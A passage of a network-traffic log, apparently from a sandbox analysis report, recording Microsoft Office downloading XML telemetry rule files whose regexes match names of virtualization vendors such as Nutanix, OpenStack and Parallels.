<TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:08 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d518f54b-201e-006e-10e8-28bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193508Z-15b8d89586fvpb59307bn2rcac000000027000000000204x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:08 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193508Z-16849878b78sx229w7g7at4nkg000000057000000000fu1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:08 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: fbbf15bf-401e-0015-226f-280e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193508Z-r197bdfb6b4jlq9hppzrdwabps000000021000000000mtq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:08 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193508Z-16849878b78zqkvcwgr6h55x9n00000006cg00000000nb0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:09 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:09 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 75bf4e1c-f01e-0085-073a-2688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193509Z-17c5cb586f6z6tw6g7cmdv30m800000008eg0000000071cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:09 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:09 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193509Z-16849878b78km6fmmkbenhx76n0000000660000000012yv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:09 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:09 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193509Z-16849878b78qg9mlz11wgn0wcc00000006h000000000m3ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:09 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:09 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:09 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: a3f41134-c01e-00ad-7d0b-29a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193509Z-15b8d89586fzhrwgk23ex2bvhw00000009y0000000008uzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:09 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:09 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:09 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 4e972348-801e-00ac-276d-28fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193509Z-15b8d89586fpccrmgpemqdqe5800000001yg0000000017mu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:09 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:10 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193510Z-16849878b782d4lwcu6h6gmxnw00000006h000000001024q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:10 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 3281a84b-401e-0029-700c-289b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193510Z-17c5cb586f67hfgj2durhqcxk800000005u000000000e7bd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:10 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: bde7aa86-f01e-0052-08e5-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193510Z-17c5cb586f6w4mfs5xcmnrny6n00000008q000000000fvt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 